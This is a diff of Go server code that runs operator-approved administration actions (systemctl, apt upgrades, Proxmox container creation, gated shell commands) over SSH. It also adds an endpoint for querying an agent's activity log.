|
||||||
|
// `pct exec <pve_id>` for an LXC. Kept as a small duplicate rather than a
|
||||||
|
// cross-package import to avoid coupling httpapi to mcp for one helper.
|
||||||
|
func resolveRunTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(string) string, err error) {
|
||||||
|
if strings.HasPrefix(targetSlug, "host:") {
|
||||||
|
host, user, err = resolveHostSSH(ctx, pool, targetSlug)
|
||||||
|
return host, user, func(cmd string) string { return cmd }, err
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(targetSlug, "lxc:") {
|
||||||
|
var pveID, hostAttr string
|
||||||
|
// COALESCE the host column: many older LXC entities (seeded from
|
||||||
|
// inventory, not provisioned by pct_create) have pve_id but no host
|
||||||
|
// attribute at all. Scanning a SQL NULL into a plain string errors
|
||||||
|
// the whole row, wrongly reporting "missing pve_id" even when it was
|
||||||
|
// present — COALESCE avoids the NULL, "" is handled below.
|
||||||
|
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||||
|
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
|
||||||
|
}
|
||||||
|
hostSlug := hostAttr
|
||||||
|
if hostSlug == "" {
|
||||||
|
hostSlug = "hubris"
|
||||||
|
}
|
||||||
|
if !strings.HasPrefix(hostSlug, "host:") {
|
||||||
|
hostSlug = "host:" + hostSlug
|
||||||
|
}
|
||||||
|
host, user, err = resolveHostSSH(ctx, pool, hostSlug)
|
||||||
|
id := pveID
|
||||||
|
return host, user, func(cmd string) string {
|
||||||
|
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||||
|
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
|
||||||
|
}, err
|
||||||
|
}
|
||||||
|
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug> or lxc:<slug>", targetSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
// executeApprovedAction runs a gated action after operator approval.
|
||||||
|
// Runs in a background goroutine to not block the HTTP response.
|
||||||
|
// emitExecutionEvent records an execution lifecycle event for SSE fan-out so
|
||||||
|
// the control room can watch approved actions run to completion live.
|
||||||
|
func emitExecutionEvent(ctx context.Context, pool *db.Pool, execID uuid.UUID, status string, detail map[string]any) {
|
||||||
|
severity := "info"
|
||||||
|
if status == "failed" {
|
||||||
|
severity = "warning"
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", "", detail)
|
||||||
|
if status == "completed" || status == "failed" || status == "cancelled" {
|
||||||
|
closePlanStepForExecution(ctx, pool, execID, status)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// closePlanStepForExecution auto-closes a task plan step whose linked execution
|
||||||
|
// just reached a terminal state, so the task board advances even if the agent
|
||||||
|
// doesn't call update_plan_step itself (belt and suspenders — the agent links
|
||||||
|
// the step to the execution when it starts it; the api finishes it here). Emits
|
||||||
|
// plan.step.finished correlated to the step's session. No-op for the vast
|
||||||
|
// majority of executions, which aren't plan steps.
|
||||||
|
func closePlanStepForExecution(ctx context.Context, pool *db.Pool, execID uuid.UUID, execStatus string) {
|
||||||
|
stepStatus := "done"
|
||||||
|
if execStatus == "failed" || execStatus == "cancelled" {
|
||||||
|
stepStatus = "failed"
|
||||||
|
}
|
||||||
|
var stepID, sessionID string
|
||||||
|
var seq int
|
||||||
|
if err := pool.QueryRow(ctx, `
|
||||||
|
UPDATE session_plan_steps SET status = $2, finished_at = now()
|
||||||
|
WHERE execution_id = $1 AND status NOT IN ('done', 'failed', 'skipped')
|
||||||
|
RETURNING id::text, session_id::text, seq`, execID, stepStatus).Scan(&stepID, &sessionID, &seq); err != nil {
|
||||||
|
return // no matching open step
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, sqlcgen.New(pool), "plan.step.finished", &execID, "info", "actuator", sessionID,
|
||||||
|
map[string]any{"step_id": stepID, "seq": seq, "status": stepStatus, "execution_id": execID.String()})
|
||||||
|
}
|
||||||
|
|
||||||
|
func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID, targetSlug string, actionStr string) {
|
||||||
|
slog.Info("httpapi: executing approved action", "execution_id", execID, "target", targetSlug, "action", actionStr)
|
||||||
|
|
||||||
|
host, user, wrap, err := resolveRunTarget(ctx, pool, targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
slog.Error("httpapi: resolve host for approved execution", "error", err, "target", targetSlug)
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("%s", err.Error()))
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
idx := strings.Index(actionStr, ":")
|
||||||
|
if idx < 0 {
|
||||||
|
slog.Error("httpapi: malformed action string (no colon)", "action", actionStr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
action, params := actionStr[:idx], actionStr[idx+1:]
|
||||||
|
|
||||||
|
startedAt := time.Now()
|
||||||
|
var output, cmd string
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "systemctl":
|
||||||
|
svc := strings.TrimPrefix(targetSlug, "lxc:")
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(params, "enable:"):
|
||||||
|
svc = strings.TrimPrefix(params, "enable:")
|
||||||
|
cmd = fmt.Sprintf("systemctl enable %s --now 2>&1; sleep 1; systemctl is-active %s", svc, svc)
|
||||||
|
case strings.HasPrefix(params, "disable:"):
|
||||||
|
svc = strings.TrimPrefix(params, "disable:")
|
||||||
|
cmd = fmt.Sprintf("systemctl disable %s --now 2>&1; sleep 1; systemctl is-active %s", svc, svc)
|
||||||
|
default:
|
||||||
|
cmd = fmt.Sprintf("systemctl %s %s 2>&1", params, svc)
|
||||||
|
}
|
||||||
|
output, err = sshExec(ctx, host, user, cmd)
|
||||||
|
|
||||||
|
case "apt_upgrade":
|
||||||
|
svc := strings.TrimPrefix(targetSlug, "lxc:")
|
||||||
|
cmd = fmt.Sprintf("apt update -qq 2>&1 >/dev/null && apt upgrade -y -qq 2>&1; echo '---'; systemctl is-active %s || true", svc)
|
||||||
|
output, err = sshExec(ctx, host, user, cmd)
|
||||||
|
|
||||||
|
case "pct_create":
|
||||||
|
var cfg struct {
|
||||||
|
VMID int `json:"vmid"`
|
||||||
|
Hostname string `json:"hostname"`
|
||||||
|
Cores int `json:"cores"`
|
||||||
|
Memory int `json:"memory"`
|
||||||
|
DiskGB int `json:"disk_gb"`
|
||||||
|
IP string `json:"ip"`
|
||||||
|
GW string `json:"gw"`
|
||||||
|
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
||||||
|
Storage string `json:"storage"`
|
||||||
|
Template string `json:"template"`
|
||||||
|
Privileged flexBool `json:"privileged"`
|
||||||
|
Nesting flexBool `json:"nesting"`
|
||||||
|
Mounts []string `json:"mounts"`
|
||||||
|
Nameserver string `json:"nameserver"`
|
||||||
|
Searchdomain string `json:"searchdomain"`
|
||||||
|
// No services/post_install here anymore — pct_create is atomic
|
||||||
|
// (create + start + register only). Installing packages and
|
||||||
|
// running setup scripts is the agent's job via follow-up `run`
|
||||||
|
// calls against lxc:<hostname>, so each step is individually
|
||||||
|
// observable and recoverable instead of one opaque multi-minute
|
||||||
|
// black box. See the comment above the removed post-create block.
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal([]byte(params), &cfg); err != nil {
|
||||||
|
slog.Error("httpapi: pct_create parse params", "error", err, "params", params)
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("invalid pct_create params: %v", err))
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Only hostname is required. vmid is optional — when 0 (or later found
|
||||||
|
// to collide) the VMID guard below assigns a free cluster id.
|
||||||
|
if cfg.Hostname == "" {
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, `{"error":"pct_create: hostname is required"}`)
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": "missing hostname"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cfg.Cores == 0 {
|
||||||
|
cfg.Cores = 1
|
||||||
|
}
|
||||||
|
if cfg.Memory == 0 {
|
||||||
|
cfg.Memory = 512
|
||||||
|
}
|
||||||
|
if cfg.DiskGB == 0 {
|
||||||
|
cfg.DiskGB = 8
|
||||||
|
}
|
||||||
|
if cfg.Storage == "" {
|
||||||
|
cfg.Storage = "local-lvm"
|
||||||
|
}
|
||||||
|
if cfg.GW == "" {
|
||||||
|
cfg.GW = "192.168.8.2"
|
||||||
|
}
|
||||||
|
if cfg.Nameserver == "" {
|
||||||
|
cfg.Nameserver = "192.168.8.2"
|
||||||
|
}
|
||||||
|
if cfg.Searchdomain == "" {
|
||||||
|
cfg.Searchdomain = "hubris.network"
|
||||||
|
}
|
||||||
|
// Template pre-flight: resolve against what the host actually has
|
||||||
|
// cached. A hardcoded name (e.g. debian-13) fails opaquely with a raw
|
||||||
|
// `pct` error when that exact file isn't present. List the cache, then
|
||||||
|
// either validate the requested template or auto-pick the newest
|
||||||
|
// debian one; on miss, fail early with the available list so the
|
||||||
|
// operator/agent can retry with a real name.
|
||||||
|
cacheList, tplErr := sshExec(ctx, host, user, "ls -1 /var/lib/vz/template/cache/ 2>/dev/null | grep -E '\\.tar\\.(zst|gz|xz)$' || true")
|
||||||
|
available := []string{}
|
||||||
|
for _, l := range strings.Split(strings.TrimSpace(cacheList), "\n") {
|
||||||
|
if l = strings.TrimSpace(l); l != "" {
|
||||||
|
available = append(available, l)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if tplErr != nil {
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("list templates on %s: %s", targetSlug, tplErr.Error()))
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": tplErr.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cfg.Template = resolveTemplate(cfg.Template, available)
|
||||||
|
if cfg.Template == "" {
|
||||||
|
msg := fmt.Sprintf("no usable LXC template on %s. Available: %v", targetSlug, available)
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("%s", msg))
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// VMID collision guard. Proxmox VMIDs are cluster-wide, so the model's
|
||||||
|
// guess (e.g. 132) can collide with a container on another node — pct
|
||||||
|
// create then fails with "CT N already exists on node X". Fetch the set
|
||||||
|
// of in-use VMIDs across the cluster; if the requested id is taken (or
|
||||||
|
// absent), fall back to the cluster's next free id so provisioning
|
||||||
|
// still succeeds instead of dead-ending on the operator's approval.
|
||||||
|
usedRaw, _ := sshExec(ctx, host, user, `pvesh get /cluster/resources --type vm --output-format json 2>/dev/null | grep -o '"vmid":[0-9]*' | grep -o '[0-9]*' || true`)
|
||||||
|
used := map[int]bool{}
|
||||||
|
for _, l := range strings.Fields(usedRaw) {
|
||||||
|
if n, e := strconv.Atoi(strings.TrimSpace(l)); e == nil {
|
||||||
|
used[n] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if cfg.VMID == 0 || used[cfg.VMID] {
|
||||||
|
nextRaw, nerr := sshExec(ctx, host, user, `pvesh get /cluster/nextid 2>/dev/null`)
|
||||||
|
nextID, cerr := strconv.Atoi(strings.TrimSpace(nextRaw))
|
||||||
|
if nerr != nil || cerr != nil || nextID == 0 {
|
||||||
|
msg := fmt.Sprintf("VMID %d is already in use on the cluster and could not resolve a free id", cfg.VMID)
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("%s", msg))
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
slog.Info("httpapi: pct_create VMID reassigned", "requested", cfg.VMID, "assigned", nextID)
|
||||||
|
cfg.VMID = nextID
|
||||||
|
}
|
||||||
|
|
||||||
|
privFlag := "--unprivileged 1"
|
||||||
|
if cfg.Privileged {
|
||||||
|
privFlag = "--unprivileged 0"
|
||||||
|
}
|
||||||
|
|
||||||
|
nestingFlag := ""
|
||||||
|
features := []string{}
|
||||||
|
if cfg.Nesting {
|
||||||
|
features = append(features, "nesting=1")
|
||||||
|
}
|
||||||
|
if cfg.Privileged {
|
||||||
|
features = append(features, "keyctl=1")
|
||||||
|
}
|
||||||
|
if len(features) > 0 {
|
||||||
|
nestingFlag = fmt.Sprintf(" --features %s", strings.Join(features, ","))
|
||||||
|
}
|
||||||
|
|
||||||
|
if cfg.Bridge == "" {
|
||||||
|
cfg.Bridge = "vmbr0"
|
||||||
|
}
|
||||||
|
|
||||||
|
// net0: DHCP when no static IP is given (or ip=="dhcp"). Proxmox
|
||||||
|
// rejects a gateway alongside ip=dhcp, so only add gw for a static IP.
|
||||||
|
net0 := "name=eth0,bridge=" + cfg.Bridge + ","
|
||||||
|
isStatic := cfg.IP != "" && !strings.EqualFold(cfg.IP, "dhcp")
|
||||||
|
if !isStatic {
|
||||||
|
net0 += "ip=dhcp"
|
||||||
|
} else {
|
||||||
|
net0 += "ip=" + cfg.IP
|
||||||
|
if cfg.GW != "" {
|
||||||
|
net0 += ",gw=" + cfg.GW
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pre-flight: for a static config, ping the gateway from the target
|
||||||
|
// HOST, on the SPECIFIC BRIDGE being requested, before spending 5+
|
||||||
|
// minutes creating the container. This is the check that would have
|
||||||
|
// caught the real TypeType failure immediately instead of after a
|
||||||
|
// full provision attempt.
|
||||||
|
//
|
||||||
|
// Binding to the bridge (`ping -I <bridge>`) matters and was found
|
||||||
|
// live: a plain unqualified `ping <gw>` from the host can succeed via
|
||||||
|
// the host's own routing table (multiple routes, possibly through an
|
||||||
|
// upstream router) even when the *container* — which only gets a
|
||||||
|
// naive on-link default route via its bridge's veth — can never ARP
|
||||||
|
// that gateway at all. Confirmed on `strong`: bare `ping 192.168.8.2`
|
||||||
|
// succeeded (via the host's default route), but a container actually
|
||||||
|
// attached to vmbr0 showed 100% packet loss trying to reach the same
|
||||||
|
// address, because vmbr0 doesn't carry that subnet's L2 segment.
|
||||||
|
// Binding to the bridge interface reproduces what the container will
|
||||||
|
// actually experience, not what the host's broader routing table can
|
||||||
|
// reach.
|
||||||
|
if isStatic && cfg.GW != "" {
|
||||||
|
pingOut, pingErr := sshExec(ctx, host, user, fmt.Sprintf("ping -I %s -c1 -W2 %s >/dev/null 2>&1 && echo PREFLIGHT_OK || echo PREFLIGHT_FAIL", cfg.Bridge, cfg.GW))
|
||||||
|
if pingErr != nil || !gatewayPreflightPassed(pingOut) {
|
||||||
|
msg := fmt.Sprintf(
|
||||||
|
"gateway %s is not reachable from %s on bridge %s — this almost always means the bridge doesn't carry that subnet on this host (each bridge only reaches the network it's physically wired to). "+
|
||||||
|
"Do not retry with a different gateway guess in the same subnet: find an existing LXC on this host with an IP in the same /28 and copy its exact bridge+gateway, or use DHCP instead.",
|
||||||
|
cfg.GW, targetSlug, cfg.Bridge)
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("%s", msg))
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
templatePath := fmt.Sprintf("/var/lib/vz/template/cache/%s", cfg.Template)
|
||||||
|
createCmd := fmt.Sprintf(
|
||||||
|
"pct create %d %s --hostname %s --cores %d --memory %d --rootfs %s:%d %s --net0 %s%s --start 1",
|
||||||
|
cfg.VMID, templatePath, cfg.Hostname, cfg.Cores, cfg.Memory,
|
||||||
|
cfg.Storage, cfg.DiskGB, privFlag, net0, nestingFlag)
|
||||||
|
|
||||||
|
if cfg.Nameserver != "" {
|
||||||
|
createCmd += fmt.Sprintf(" --nameserver %s", cfg.Nameserver)
|
||||||
|
}
|
||||||
|
if cfg.Searchdomain != "" {
|
||||||
|
createCmd += fmt.Sprintf(" --searchdomain %s", cfg.Searchdomain)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add mount points
|
||||||
|
for i, mp := range cfg.Mounts {
|
||||||
|
if i < 10 { // pct supports up to mp9
|
||||||
|
createCmd += fmt.Sprintf(" --mp%d %s", i, mp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("httpapi: pct_create running", "vmid", cfg.VMID, "hostname", cfg.Hostname, "cmd", createCmd)
|
||||||
|
output, err = sshExec(ctx, host, user, createCmd)
|
||||||
|
|
||||||
|
// pct_create is now DELIBERATELY ATOMIC: create + start + register,
|
||||||
|
// nothing else. It used to also run apt installs and a post_install
|
||||||
|
// script inline as one black-box multi-minute SSH call — the agent
|
||||||
|
// got back a single opaque success/fail for the whole thing with no
|
||||||
|
// way to see (or fix) which step actually broke. That's the opposite
|
||||||
|
// of what makes an agent able to recover from errors.
|
||||||
|
//
|
||||||
|
// Installing packages, running post_install, and verifying the
|
||||||
|
// service now happen as the agent's OWN follow-up `run` calls against
|
||||||
|
// the new lxc:<hostname> target — each one is synchronous (in an
|
||||||
|
// active assent window) or individually gated, so the agent observes
|
||||||
|
// every step's real output and can diagnose + retry the exact thing
|
||||||
|
// that failed instead of re-doing the whole container. See SOUL.md
|
||||||
|
// "After pct_create: you drive the install" and provisionScript's
|
||||||
|
// surviving role (DNS self-heal) is now something the agent invokes
|
||||||
|
// itself via `run`, not something baked into this handler.
|
||||||
|
//
|
||||||
|
// cfg.Services/cfg.PostInstall are intentionally no longer read here.
|
||||||
|
|
||||||
|
// On success, register the entity in the DB with proper relationships
|
||||||
|
if err == nil {
|
||||||
|
slug := "lxc:" + cfg.Hostname
|
||||||
|
var lxcID uuid.UUID
|
||||||
|
lxcID, _ = uuid.NewV7()
|
||||||
|
attrs := map[string]any{
|
||||||
|
"pve_id": fmt.Sprintf("%d", cfg.VMID),
|
||||||
|
"host": strings.TrimPrefix(targetSlug, "host:"),
|
||||||
|
"ip": cfg.IP,
|
||||||
|
}
|
||||||
|
attrsJSON, _ := json.Marshal(attrs)
|
||||||
|
_, insErr := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, enrolled_at)
|
||||||
|
VALUES ($1, $2, 'lxc', $3, 'provisioning', $4, now()) ON CONFLICT (slug) DO NOTHING`, lxcID, slug, cfg.Hostname, attrsJSON)
|
||||||
|
if insErr != nil {
|
||||||
|
slog.Error("httpapi: pct_create entity insert", "error", insErr, "slug", slug)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create hosts relationship: Proxmox host → LXC
|
||||||
|
var hostID uuid.UUID
|
||||||
|
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", targetSlug).Scan(&hostID); err == nil {
|
||||||
|
_, relErr := pool.Exec(ctx, `INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||||
|
VALUES ($1, $2, 'hosts', '{"provisioned_by":"nomos"}'::jsonb, now())`, hostID, lxcID)
|
||||||
|
if relErr != nil {
|
||||||
|
slog.Error("httpapi: pct_create relationship insert", "error", relErr, "host", targetSlug, "lxc", slug)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create entity_status row for health tracking
|
||||||
|
pool.Exec(ctx, `INSERT INTO entity_status (entity_id, health, last_check_at)
|
||||||
|
VALUES ($1, 'unknown', now()) ON CONFLICT (entity_id) DO NOTHING`, lxcID)
|
||||||
|
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "executing", map[string]any{
|
||||||
|
"lxc_slug": slug, "vmid": cfg.VMID, "host": targetSlug,
|
||||||
|
})
|
||||||
|
|
||||||
|
slog.Info("httpapi: pct_create entity registered", "slug", slug, "vmid", cfg.VMID, "host", targetSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
case "run":
|
||||||
|
// The general gated primitive: arbitrary shell against any host or
|
||||||
|
// LXC, approved and classified by internal/policy.ClassifyCommand at
|
||||||
|
// request time (see mcp/server.go's "run" tool). No fixed action
|
||||||
|
// enum — new capability doesn't require new Go code here.
|
||||||
|
var cfg struct {
|
||||||
|
Command string `json:"command"`
|
||||||
|
Purpose string `json:"purpose"`
|
||||||
|
}
|
||||||
|
if perr := json.Unmarshal([]byte(params), &cfg); perr != nil {
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("invalid run params: %v", perr))
|
||||||
|
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": perr.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd = wrap(cfg.Command)
|
||||||
|
output, err = sshExec(ctx, host, user, cmd)
|
||||||
|
|
||||||
|
default:
|
||||||
|
slog.Error("httpapi: unknown gated action for approved execution", "action", action, "execution_id", execID)
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||||
|
execID, jsonErr("unknown action: %s", action))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
durationMs := int(time.Since(startedAt).Milliseconds())
|
||||||
|
status := "completed"
|
||||||
|
verified := true
|
||||||
|
// Build result via json.Marshal, not string interpolation. Command output
|
||||||
|
// (apt/pct) contains quotes, backslashes and control chars; the old
|
||||||
|
// fmt.Sprintf only escaped "\n", producing invalid JSON that failed the
|
||||||
|
// ::jsonb cast — so this UPDATE was silently discarded and the execution
|
||||||
|
// was stuck at "approved" forever even though provisioning succeeded.
|
||||||
|
resMap := map[string]any{"output": output}
|
||||||
|
if err != nil {
|
||||||
|
resMap["error"] = err.Error()
|
||||||
|
status = "failed"
|
||||||
|
verified = false
|
||||||
|
}
|
||||||
|
resultJSON, _ := json.Marshal(resMap)
|
||||||
|
|
||||||
|
if _, uerr := pool.Exec(ctx, `UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4, verified=$5, started_at=$6, completed_at=$7 WHERE entity_id=$1`,
|
||||||
|
execID, status, resultJSON, durationMs, verified, startedAt, time.Now()); uerr != nil {
|
||||||
|
slog.Error("httpapi: finalize execution status", "error", uerr, "execution_id", execID, "intended_status", status)
|
||||||
|
}
|
||||||
|
|
||||||
|
emitExecutionEvent(ctx, pool, execID, status, map[string]any{
|
||||||
|
"action": action, "target": targetSlug, "duration_ms": durationMs,
|
||||||
|
})
|
||||||
|
|
||||||
|
slog.Info("httpapi: approved action executed",
|
||||||
|
"execution_id", execID, "action", action, "status", status, "duration_ms", durationMs)
|
||||||
|
}
|
||||||
|
|
||||||
|
// jsonErr builds a valid {"error": "..."} JSON payload for an execution's
|
||||||
|
// result column. Always use this instead of fmt.Sprintf'ing JSON by hand —
|
||||||
|
// error text and command output routinely contain quotes/backslashes that
|
||||||
|
// break a hand-built string and fail the ::jsonb cast.
|
||||||
|
func jsonErr(format string, args ...any) []byte {
|
||||||
|
b, _ := json.Marshal(map[string]any{"error": fmt.Sprintf(format, args...)})
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveTemplate maps a requested template name to one actually present in
|
||||||
|
// the host's template cache. Exact match wins; a bare distro hint (e.g.
|
||||||
|
// "debian-13" or "debian") matches by prefix; empty picks the newest debian
|
||||||
|
// (falling back to any) template available. Returns "" when nothing fits.
|
||||||
|
// gatewayPreflightPassed interprets the PREFLIGHT_OK/PREFLIGHT_FAIL markers
|
||||||
|
// from the pct_create gateway pre-flight check. Pulled out as its own
|
||||||
|
// function (rather than an inline strings.Contains at the call site) so it's
|
||||||
|
// unit-testable: a prior version checked for "REACHABLE", which is a
|
||||||
|
// substring of "UNREACHABLE" — the check could never actually fail, and it
|
||||||
|
// took a live deployment to notice. Exact-match markers plus a test make
|
||||||
|
// that specific bug class structurally unable to recur silently.
|
||||||
|
func gatewayPreflightPassed(out string) bool {
|
||||||
|
return strings.TrimSpace(out) == "PREFLIGHT_OK"
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveTemplate(requested string, available []string) string {
|
||||||
|
if len(available) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if requested != "" {
|
||||||
|
for _, a := range available {
|
||||||
|
if a == requested {
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, a := range available {
|
||||||
|
if strings.HasPrefix(a, requested) {
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Auto-pick: prefer debian, then the lexically-greatest (newest version).
|
||||||
|
best := ""
|
||||||
|
for _, a := range available {
|
||||||
|
if strings.Contains(a, "debian") && a > best {
|
||||||
|
best = a
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if best != "" {
|
||||||
|
return best
|
||||||
|
}
|
||||||
|
for _, a := range available {
|
||||||
|
if a > best {
|
||||||
|
best = a
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return best
|
||||||
|
}
|
||||||
90
internal/httpapi/agent_activity.go
Normal file
90
internal/httpapi/agent_activity.go
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Agent Activity (stub) ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) QueryAgentActivity(ctx context.Context, request gen.QueryAgentActivityRequestObject) (gen.QueryAgentActivityResponseObject, error) {
|
||||||
|
limit := clampLimit(request.Params.Limit)
|
||||||
|
from := time.Now().Add(-24 * time.Hour)
|
||||||
|
if request.Params.From != nil {
|
||||||
|
from = *request.Params.From
|
||||||
|
}
|
||||||
|
to := time.Now()
|
||||||
|
if request.Params.To != nil {
|
||||||
|
to = *request.Params.To
|
||||||
|
}
|
||||||
|
|
||||||
|
var agentID *string
|
||||||
|
if request.Params.AgentId != nil {
|
||||||
|
a := *request.Params.AgentId
|
||||||
|
agentID = &a
|
||||||
|
}
|
||||||
|
var activityType *string
|
||||||
|
if request.Params.ActivityType != nil {
|
||||||
|
a := string(*request.Params.ActivityType)
|
||||||
|
activityType = &a
|
||||||
|
}
|
||||||
|
var entityID *string
|
||||||
|
if request.Params.EntityId != nil {
|
||||||
|
a := *request.Params.EntityId
|
||||||
|
entityID = &a
|
||||||
|
}
|
||||||
|
var cursorID *int
|
||||||
|
if request.Params.Cursor != nil && *request.Params.Cursor != "" {
|
||||||
|
if id, err := parseIntOrZero(*request.Params.Cursor); err == nil && id > 0 {
|
||||||
|
cursorID = &id
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT id, ts, agent_id::text, session_id, activity_type, tool_name,
|
||||||
|
entity_id::text, input_summary, output_summary,
|
||||||
|
duration_ms, token_count, success, correlation_id
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE ts >= $1 AND ts <= $2
|
||||||
|
AND ($3::text IS NULL OR agent_id::text = $3)
|
||||||
|
AND ($4::text IS NULL OR activity_type = $4)
|
||||||
|
AND ($5::text IS NULL OR entity_id::text = $5)
|
||||||
|
AND ($6::bigint IS NULL OR id < $6::bigint)
|
||||||
|
ORDER BY id DESC
|
||||||
|
LIMIT $7`,
|
||||||
|
from, to, agentID, activityType, entityID, cursorID, limit+1)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.AgentActivity{}
|
||||||
|
for rows.Next() {
|
||||||
|
var a gen.AgentActivity
|
||||||
|
if err := rows.Scan(&a.Id, &a.Ts, &a.AgentId, &a.SessionId,
|
||||||
|
&a.ActivityType, &a.ToolName, &a.EntityId,
|
||||||
|
&a.InputSummary, &a.OutputSummary,
|
||||||
|
&a.DurationMs, &a.TokenCount, &a.Success,
|
||||||
|
&a.CorrelationId); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
items = append(items, a)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
var next *string
|
||||||
|
if len(items) > limit {
|
||||||
|
items = items[:limit]
|
||||||
|
lastID := fmt.Sprintf("%d", items[len(items)-1].Id)
|
||||||
|
next = &lastID
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.AgentActivity{}
|
||||||
|
}
|
||||||
|
return gen.QueryAgentActivity200JSONResponse{Items: items, NextCursor: next}, nil
|
||||||
|
}
|
||||||
@@ -263,6 +263,20 @@ func TestAPIEndToEnd(t *testing.T) {
|
|||||||
}
|
